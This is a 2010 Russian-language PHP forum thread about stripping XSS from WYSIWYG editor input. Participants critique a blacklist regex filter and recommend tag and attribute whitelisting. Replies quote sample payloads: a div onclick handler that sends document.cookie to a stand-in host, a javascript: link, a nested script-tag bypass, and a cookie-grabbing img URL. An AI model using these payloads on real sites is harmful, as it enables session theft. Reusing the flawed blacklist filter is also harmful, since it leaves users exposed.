[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Защита от XSS
Romms
Всем привет!
На странице есть WYSIWYG Editor, мне нужно удалить все скрипты при получения текста из него.
Делаю такую фильтрацию:
    $info = preg_replace("#<script(.+?)/script>#is",'',$info);
$info = preg_replace("#(href|src)=([\"|\']{0,1})(\s*)javascript:(.+?)\\2#is",'',$info);
$info = preg_replace("#(onclick|onmouseover|onmouseout|onmousedown|onmouseup|onselect|onfocus|onblur|onload|onkeydown|onkeyup|ondblclick|onunload|onmouseup|onsubmit)=([\"|\']{0,1})(.+?)\\2#is",'',$info);


Достаточно ли этого?



Спустя 1 минута, 57 секунд (26.08.2010 - 08:37) Basili4 написал(а):
Romms
даже более чем много.

htmlspecialchars() за глаза хватит

Спустя 4 минуты, 6 секунд (26.08.2010 - 08:41) Romms написал(а):
Basili4
Цитата
WYSIWYG Editor,

htmlspecialchars() не пойдёт... я принимаю HTML код, и мне нужно убрать все скрипты

Спустя 8 минут, 6 секунд (26.08.2010 - 08:49) Basili4 написал(а):
тогда регуляркой удаляй все между <script и script> включая их

Спустя 5 минут, 31 секунда (26.08.2010 - 08:54) twin написал(а):
Romms
Цитата
Достаточно ли этого?
Абсолютно недостаточно. Скрипт можно легко прописать в любой тег. Я сто раз бы задумался, прежде чем давать юзеру визивиг.

Спустя 28 минут, 27 секунд (26.08.2010 - 09:23) Romms написал(а):
twin,
Цитата
Скрипт можно легко прописать в любой тег

А собственно каким способом?
Цитата
Я сто раз бы задумался, прежде чем давать юзеру визивиг.

Сайт пишу почти для полных нубов)) Ну и с ББкодами им тяжело будет...
Та и этот редактор для админа, так что риск немного уменшается

Спустя 3 минуты, 53 секунды (26.08.2010 - 09:27) Basili4 написал(а):
Цитата (Romms @ 26.08.2010 - 10:23)
Сайт пишу почти для полных нубов

на сайт кроме целевойй аудитории могут заглянуть вандалы школьники у которых ума своего нет но зато эскплоитов разныйх вагон и мальнькая тележка

Спустя 1 минута, 45 секунд (26.08.2010 - 09:28) Romms написал(а):
Basili4, согласен, но не в этом вопрос)

VBS, например, на сколько я знаю можно вставлять только в тег "скрипт" и то его исполняет только Ишак. Ну так как в VBScript`е я почти полный 0, то и спрашиваю как защититься от него и иных скриптов.

Спустя 1 час, 40 минут, 50 секунд (26.08.2010 - 11:09) Romms написал(а):
ну то как? Для моей задачи єтот код идеальный?! unsure.gif

Спустя 23 минуты, 9 секунд (26.08.2010 - 11:32) twin написал(а):
Идеальный, так вставляй. Чего спрашиваешь? smile.gif
Я вот так не считаю. Давать юзеру прямой доступ к HTML - серьёзный шаг. Нужно очень хорошо представлять себе последствия.

Вот допустим ты знаешь, что у осла есть такое событие, как "onchangefiltr"? Хотя я и простого "onchange" в твоем коде не нашел... Мож плохо искал. smile.gif
И вообще столько можно напридумывать. Допустим ссылку запостить на JS а там ни событий, ни тега <script>. Я уже про фреймы не говорю... Да куча всего. Лакомый кусочек для кулхацкера. smile.gif

Спустя 39 минут, 44 секунды (26.08.2010 - 12:12) Romms написал(а):
Цитата (twin @ 26.08.2010 - 10:32)
Хотя я и простого "onchange" в твоем коде не нашел... Мож плохо искал.  smile.gif

Опа) Пропустил unsure.gif Сейчас добавлю)

Ну, iFrame я "удаляю" rolleyes.gif

А вот про onchangefiltr неслыхал, да и про многие события в IE biggrin.gif

Планирую "резать" и такие события smile.gif
http://program.rin.ru/cgi-bin/print.pl?id=1015&p=3#ref4124

Спустя 1 минута, 44 секунды (26.08.2010 - 12:14) SlavaFr написал(а):
Цитата (Romms @ 26.08.2010 - 06:23)
twin,
Цитата
Скрипт можно легко прописать в любой тег

А собственно каким способом?

<div onclick="document.location.href='ukradenyj_sezon.ri/selzon.php?'+document.cookie">катастрофа</div>
или другой евент.

крометого
<a haref="javascript:....

Спустя 5 минут, 21 секунда (26.08.2010 - 12:19) Rivalryzerg написал(а):
Romms, определите четкий список кнопок в визивиг-редакторе. Допустим вот минимальный набор: жирный, наклонный, подчеркнутый.
После того, как пользователь жмет кнопку "сохранить" и текст приходит к вам post запросом, нужно обработать текст и удалить из его все недозволенное. Это легко сделать тк список разрешенных тегов у вас известен, допустимые атрибуты известны.

Давно давно вот тут использовал этот подход
http://slovari21.ru/community/add_topic

Спустя 17 минут, 31 секунда (26.08.2010 - 12:37) Romms написал(а):
Цитата
http://slovari21.ru/community/add_topic

быто....

Спустя 58 минут, 7 секунд (26.08.2010 - 13:35) Nikitian написал(а):
Составьте список допустимых тегов, к каждому список допустимых параметров. Всё остальное режьте - так от инлайнов убережётесь.
Да, и после вырезания проходите ещё раз по результату своей резалкой, т.к. можно написать примерно так:


<scri<script>pt>

Спустя 3 дня, 7 минут, 25 секунд (29.08.2010 - 13:42) vagrand написал(а):
Romms

Ничего из Вашей затеи не выйдет. Не сумеете вы себя защитить, т.к. JS код это далеко не главная ваша проблема будет, а главной проблемой будет что-то вроде такого:


<img src='http://domain.com/get_cookie.php'>


При том что и расширение файла в урле тож можно сменить на JPG например, а уж этот скриптец украдет куку пользователя как нечего делать.

Так что бросьте Вы это дело и замените WYSIWYG на BBCode редактор.

Спустя 3 минуты, 1 секунда (29.08.2010 - 13:45) Nikitian написал(а):
vagrand
Такой скрипт куку не украдёт, если будет располагаться не на domain.com. Скрипт не может видеть куки с чужого домена. Такая конструкция может только нагадить чем-нибудь типа бесконечного alert(). Поэтому я приверженец разрешениея публикации файлов только с фотохостингов.

Подумал, может ли скрипт с левого домена сделать редирект не своей области, а открывшей страницы через parent?

Спустя 1 минута, 43 секунды (29.08.2010 - 13:47) Rivalryzerg написал(а):
vagrand,
и в чем проблема того, что ссылка на картинку будет кривая и картинка попросту не будет отображаться?

Nikitian, нагадить тоже не сможет. Максимум - картинка не отобразится
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.